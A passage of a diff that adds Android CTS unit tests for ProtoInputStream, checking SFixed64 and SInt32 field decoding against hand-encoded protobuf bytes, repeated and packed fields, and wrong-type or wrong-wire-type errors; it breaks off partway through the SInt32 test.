--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed64Test.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSFixed64Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 8 -> 1
+                (byte) 0x41,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x19,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x21,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x29,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x39,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[] results = new long[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+        assertEquals(Long.MIN_VALUE, results[5]);
+        assertEquals(Long.MAX_VALUE, results[6]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+        testReadCompat(Long.MIN_VALUE);
+        testReadCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(long val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+        final long FIELD_ID = fieldFlags | ((long) 120 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sfixed64Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sfixed64Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x09,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x19,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x21,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x29,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x39,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 8 -> 1
+                (byte) 0x41,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x09,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x19,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x21,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x29,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x39,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED64;
+        final long FIELD_ID = fieldFlags | ((long) 121 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sfixed64FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sfixed64FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sfixed64FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SFIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x10,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 8 -> 1
+                (byte) 0x42,
+                (byte) 0x10,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x10,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x10,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x3a,
+                (byte) 0x10,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[0]);
+        testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED64;
+        final long FIELD_ID = fieldFlags | ((long) 122 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sfixed64FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sfixed64FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sfixed64FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readLong(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readLong(FIELD_ID_2);
+                        // don't fail, fixed32 is ok
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readLong(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed sfixed64)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readLong(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt32Test.java
new file mode 100644
index 0000000..f6b254b
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt32Test.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSInt32Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x02,
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[] results = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(int val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+        final long FIELD_ID = fieldFlags | ((long) 70 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sint32Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
